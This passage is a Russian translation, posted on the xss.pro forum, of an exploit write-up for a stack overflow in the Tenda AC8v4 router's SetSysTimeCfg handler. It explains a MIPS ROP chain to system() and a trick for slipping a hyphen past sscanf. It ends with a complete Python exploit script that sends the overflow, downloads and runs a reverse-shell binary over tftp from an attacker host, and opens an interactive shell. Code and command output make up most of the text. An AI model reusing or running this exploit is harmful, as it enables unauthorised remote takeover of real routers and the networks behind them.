                (sp_offset + 0x5c): libc_base + t9_EQ_s4_JR_1C_p_18, # gad1
                (sp_offset + 0x60 + 0x1C + 0x10): f'{c1}'.encode(),
                 # flow2 $s4-$s5 (caller), this is set via previous control-ed registers
                (sp_offset + 0x60 + 0x34): libc_base + a0_EQ_sp24_c_JR_24sp,
                (sp_offset + 0x60 + 0x38 + 0x24): libc_base + _system, # gad2
                (sp_offset + 0x60 + 0x38 + 0x24 + 0xC - 0x7): f'$({c3});'.encode()
            }

По какой-то непонятной причине system(), похоже, также принимает аргументы в $s4-s6, которые $s4-$s5 установлены как залог для t9_EQ_s4_JR_1C_p_18 (move $t9, $s4), $s6 установлен как залог для гаджета1 как указанное стековое смещение 0x38+var_s18($sp); которые позволяют нам выполнить 8-байтовую команду через system(). Тем не менее, поскольку $a0 установлен на гаджете3 как a0_EQ_sp24_c_JR_24sp со смещением sp_offset + 0x60 + 0x38 + 0x24 + 0xC - 0x7, мы можем выполнить команду произвольной длины!

1718907799587.png

Эпилог: Wget-less и Hyphen-less​

На данный момент выполнение произвольных команд на маршрутизаторе Tenda Ac8v4 является для нас простой задачей. Тем не менее, если вы когда-нибудь заходили в виртуальную машину QEMU, созданную для файловой системы этого маршрутизатора, вы увидите, что мы не можем запустить практически ничего, даже scp и wget не существуют в busybox, тогда как мы можем создать обратную оболочку обратно на нашу машину? Ну, ответ все еще скрывается в busybox:

Код:
Currently defined functions:
    [[, adduser, arp, ash, awk, brctl, cat, chmod, cp, date, depmod,
    dev, echo, egrep, env, expr, false, fgrep, free, grep, halt,
    ifconfig, init, insmod, kill, killall, linuxrc, ln, login, ls, lsmod,
    mdev, mkdir, mknod, modprobmount, mv, netstat, passwd, ping, ping6,
    poweroff, ps, pwd, reboorm, rmdir, rmmod, route, sed, sh, sleep,
    sulogin, sync, tar, telnetd, test, tftp, top, touch, traceroute,
    traceroute6, true, umount, uptime, usleep, vconfig, vi, yes

Среди всех этих забавных функций только одна привлекла мое внимание: tftp; (такая ирония судьбы, поскольку единственный способ связи самого маршрутизатора с интернетом - это tftp или telnetd и ping) С помощью tftp нам пришло в голову создать reverse-shell, соединяющий вредоносное ПО и хост на нашем tftp; затем получить его через tftp-библиотеку маршрутизатора; кроме того, мы можем chomd +x и ./RUNIT, создавая reverse-shell! Как это весело! Если разместить tftp-сервер удаленно, используйте: sudo apt-get install xinetd tftpd tftp и укажите server_arg в /etc/xinetd.d/tftp, вы сможете следовать этому руководству.

Этот подход казался действительно многообещающим, но после того, как вы попробуете извлечь написанную нами вредоносную программу, вы обнаружите нечто довольно странное; когда мы передали команду $(tftp -g -r rs 192.168.31.101 && chmod +x rs && ./rs 192.168.31.101 9000) в c3, бэкэнд . /bin/httpd будет продолжать выдавать ошибку unfinished (); почему это происходит? Ну, если посмотреть на наш сток, то можно понять, как (я был в замешательстве около 2 часов, так как думал, что это проблемы с моей полезной нагрузкой, но это не так):

Код:
int __fastcall sub_4A79EC(int a1)
{
  ....
  s = (char *)websGetVar(a1, "time", &unk_4F09E0);
  sscanf(s, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v6, v8, v10, v12, v14, v16);
  v18.tm_year = atoi((const char *)v6) - 0x76C;
  v18.tm_mon = atoi((const char *)v8) - 1;
  ....
}

Если вы помните, логика, по которой sub_4A79EC приводит к переполнению на основе стека, связана с тем, что он сканирует s -> (char *)websGetVar(a1, "time", &unk_4F09E0); в v6, v8, v10, v12, v14, v16 без ограничения на границу. Это позволяет нам сконструировать полезную нагрузку: time=retr0:xxxxx<переполняющий_символ>xxxx, чтобы вызвать переполнение. Вспомните, как мы описывали работу sccanf в regex,

Здесь sscanf фильтрует входные данные по регексу %[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s; который извлекает данные в v6 или v9 или v10 или ... как data1:data2:data2 pr data1-data2-data3; которые как эти переменные расположены на стеке; что еще более опасно

sscanf извлекает наши данные, используя : или - в качестве разделителя; включая также дефис tftp -g -r rs Это приведет к тому, что sscanf усечет исходный вывод на v6, v8, v10, таким образом, только префикс до - будет сохранен и выполнен! что приведет к незавершению (). Неудачное выполнение команды. Как же тогда решить проблему с Hyphen?

Здесь я использовал довольно забавное решение: поскольку bash позволяет сохранять вывод команды и нарезку, подобно тому, как работает [::] в python, мы можем попытаться получить - из вывода команды и сохранить нарезанный - как переменную окружения и заменять - на сохраненный символ переменной окружения всякий раз, когда наша полезная нагрузка содержит его! Например, если вы выполните команду tftp в busybox, вот что он выдаст:

Код:
BusyBox v1.19.2 (2022-12-20 11:55:28 CST) multi-call binary.

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

    -l FILE    Local FILE
    -r FILE    Remote FILE
    -g    Get file
    -p    Put file
    -b SIZE    Transfer blocks of SIZE

Теперь, если мы сохраним вывод через output=$(tftp 2>&1), то подсчитаем местоположение символа -l 's - (а это 47), затем сохраним этот символ в другой переменной, например spec; Теперь, когда нам понадобится использовать символ -, мы можем просто добавить префикс output=$(tftp 2>&1);spec=${output: 47:1}; перед командой и заменить все -, что не вызовет усечения sscanf, позволяя нам конкретные аргументы, которые позволяют нам получить и выполнить загрузку файла через $(tftp -g -r rs 192. 168.31.101 && chmod +x rs && ./rs 192.168.31.101 9000)!!!

1718907340873.png


И вот мы запывнили роутер)

exploit.py

Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

#File: exploit.py
#Author: Patrick Peng (retr0reg)



import requests
import argparse
import threading
from pwn import log, context, flat, listen
from typing import NamedTuple

session = requests.Session()
session.trust_env = False

def ap():
    parser = argparse.ArgumentParser()
    parser.add_argument("host",type=str,
                    help="exploiting ip")
    parser.add_argument("port",type=int,
                    help="exploiting port")
    parser.add_argument(
        "attacker_host",
        help="attacker host"
    )
    args = parser.parse_args()
    return ['',f'tftp -g -r rs {args.attacker_host} && chmod +x rs && ./rs {args.attacker_host} 9000'], args.host, args.port


class RopCmd(NamedTuple):
    second: str


def pwn(
        ropcmd: RopCmd,
        host: str = '192.168.31.106',
        port: int = 80,
    ):

    listener = listen(9000)
    context(arch = 'mips',endian = 'little',os = 'linux')

    def sink(
        payload
    ):
        url = f"http://{host}:{port}/goform/SetSysTimeCfg"
        _payload = b''
        _payload = b'retr0reg' + b":" + payload
        data = {
            b"timeType":b"manual",
            b"time":_payload
        }

        def send_request():
            try:
                requests.post(url=url, data=data)
            except Exception as e:
                print(f"Request failed: {e}")

        thread = threading.Thread(target=send_request)
        thread.start()

    def _rop(ropcmd: RopCmd):

        # rop-chain:
        # lw $s4 0x48; jr 0x5c
        # move $t9,$s4; jr 0x34($sp)
        # addiu $a0,$sp,0x28+var_C | jr 0x24($sp)
        #

        # 77f59000-77fe5000 r-xp 00000000 08:01 788000
        libc_base       = 0x77f59000    
        _system         = 0x004E630

        t9_target       = 0x77fa7630
        ret_offset      = 0x7b #  -> b'bgaa'
        sp_offset       = 0x7f # --> b'bhaa'

        sp2             = 0x60  # LOAD:0007EB7C
        sp3             = 0x38  # LOAD:0001B038

        print('\n')

        log.success("Exploit started!")
        log.info(f"retaddr offset: {hex(ret_offset)}")
        log.info(f"$sp offset: {hex(sp_offset)}")
        log.info(f"libc_base -> {hex(libc_base)}")

        lw_s4_0x48_JR_5Csp    = 0x0007E8C8 # lw $s4,0x38+var_s10($sp) | jr 0x5C($sp)
        # LOAD:0007E8CC                 move    $v0, $s0
        # LOAD:0007E8D0                 lw      $fp, 0x38+var_s20($sp)
        # LOAD:0007E8D4                 lw      $s7, 0x38+var_s1C($sp)
        # LOAD:0007E8D8                 lw      $s6, 0x38+var_s18($sp)
        # LOAD:0007E8DC                 lw      $s5, 0x38+var_s14($sp)
        # LOAD:0007E8E0                 lw      $s4, 0x38+var_s10($sp)
        # LOAD:0007E8E4                 lw      $s3, 0x38+var_sC($sp)
        # LOAD:0007E8E8                 lw      $s2, 0x38+var_s8($sp)
        # LOAD:0007E8EC                 lw      $s1, 0x38+var_s4($sp)
        # LOAD:0007E8F0                 lw      $s0, 0x38+var_s0($sp)
        # LOAD:0007E8F4                 jr      $ra
        # LOAD:0007E8F8                 addiu   $sp, 0x60

        t9_EQ_s4_JR_1C_p_18   = 0x0001B014 # move $t9,$s4             | jr 0x1C+0x18($sp)
        # LOAD:0001B018                 lw      $ra, 0x1C+var_s18($sp)
        # LOAD:0001B01C                 lw      $s5, 0x1C+var_s14($sp)
        # LOAD:0001B020                 lw      $s4, 0x1C+var_s10($sp)
        # LOAD:0001B024                 lw      $s3, 0x1C+var_sC($sp)
        # LOAD:0001B028                 lw      $s2, 0x1C+var_s8($sp)
        # LOAD:0001B02C                 lw      $s1, 0x1C+var_s4($sp)
        # LOAD:0001B030                 lw      $s0, 0x1C+var_s0($sp)
        # LOAD:0001B034                 jr      $ra
        # LOAD:0001B038                 addiu   $sp, 0x38

        a0_EQ_sp24_c_JR_24sp  = 0x0004D144 # addiu $a0,$sp,0x24+var_C | jr 0x24($sp)
        # LOAD:0004D144                 addiu   $a0, $sp, 0x24+var_C
        # LOAD:0004D148                 lw      $ra, 0x24+var_s0($sp)
        # LOAD:0004D14C                 nop
        # LOAD:0004D150                 jr      $ra


        a0_EQ_sp28_c_JR_24sp  = 0x00058920 # addiu $a0,$sp,0x28+var_C | jr 0x24($sp)
        # LOAD:00058920                 addiu   $a0, $sp, 0x28+var_C
        # LOAD:00058924                 lw      $v1, 0x28+var_C($sp)
        # LOAD:00058928                 lw      $ra, 0x28+var_4($sp)
        # LOAD:0005892C                 sw      $v1, 0($s0)
        # LOAD:00058930                 lw      $s0, 0x28+var_8($sp)
        # LOAD:00058934                 jr      $ra

        print('')
        log.success("Ropping....")
        log.info(f"gadget lw_s4_0x48_JR_5Csp   -> {hex(libc_base + lw_s4_0x48_JR_5Csp)}")
        log.info(f"gadget t9_EQ_s4_JR_1C_p_18  -> {hex(libc_base + t9_EQ_s4_JR_1C_p_18)}")
        log.info(f"gadget a0_EQ_sp24_c_JR_24sp -> {hex(libc_base + a0_EQ_sp24_c_JR_24sp)}")
        log.info(f"_system                     -> {hex(libc_base + _system)}")

        c1 = ""
        c2 = ""

        c3 = "output=$(tftp 2>&1);spec=${output:47:1};" + ropcmd[1].replace('-','$(echo $spec)')

        log.info(f"Inject $a0: {c3}")

        _payload = {
                ret_offset: libc_base + lw_s4_0x48_JR_5Csp, # flow1
                (sp_offset + 0x48): t9_target,
                (sp_offset + 0x38 + 0x18): f'{c2}'.encode(), # $s6, 0x38+var_s18($sp)
                (sp_offset + 0x5c): libc_base + t9_EQ_s4_JR_1C_p_18, # flow2
                (sp_offset + sp2 + 0x1C + 0x10): f'{c1}'.encode(), # flow2 $s4-$s5 (caller), this is set via previous control-ed registers
                (sp_offset + sp2 + 0x34): libc_base + a0_EQ_sp24_c_JR_24sp,
                (sp_offset + sp2 + sp3 + 0x24): libc_base + _system, # flow3
                (sp_offset + sp2 + sp3 + 0x24 + 0xC - 0x7): f'$({c3});'.encode()
            }

        print('')
        log.success("Stack looks like:")
        for key, value in _payload.items():
            try:
                log.info(f"offset: {hex(key)} : {hex(value)}")
            except TypeError:
                pass

        # $sp growth  -> +0x60 -> 0x38
        #
        # | retaddr             | lw_s4_0x48_JR_5Csp   |  i. (gadget address)
        # | (current sp)        |                      |     ($spsz1=0d127)
        # | $sp1+0x48           | t9_target            |  i ->  $s4
        # | $sp2+0x5c           | t9_EQ_s4_JR_1C_p_18  |  ii <- $t9 ($spsz2+=0x60)
        # | $sp1+$sp2+$sp3-0xC  | command              |  <- $a0
        # | $sp1+$sp2+0x34      | a0_EQ_sp24_c_JR_24sp |  iii. ($spsz3+=38)
        # | $sp1+$sp2+$sp3+0x24 | _system              |  <- jmp

        return flat(_payload)

    payload = _rop(ropcmd)
    sink(payload=payload)

    print('')
    listener.wait_for_connection()
    log.critical("Recieved shell!")
    listener.interactive()

if __name__ == "__main__":
    ropcmd, host, port = ap()
    log.info("0reg.dev - retr0reg")
    log.info("Tenda AC8v4 stack-based overflow")
    print('')
    print(
        """\
        __________        __          _______                    
        \______   \ _____/  |________ \   _  \_______   ____   ____
        |       _// __ \   __\_  __ \/  /_\  \_  __ \_/ __ \ / ___\
        |    |   \  ___/|  |  |  | \/\  \_/   \  | \/\  ___// /_/  >
        |____|_  /\___  >__|  |__|    \_____  /__|    \___  >___  /
                \/     \/                    \/            \/_____/
        """
    )
    log.info("RCE via Mipsel ROP")
    pwn(ropcmd, host, port)

Переведено специально для xss.pro
Автор перевода: AFANX
Источник: https://0reg.dev/blog/roping-router...ep-tenda-ac8v4-mips-0day-flow-control-rop-rce
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх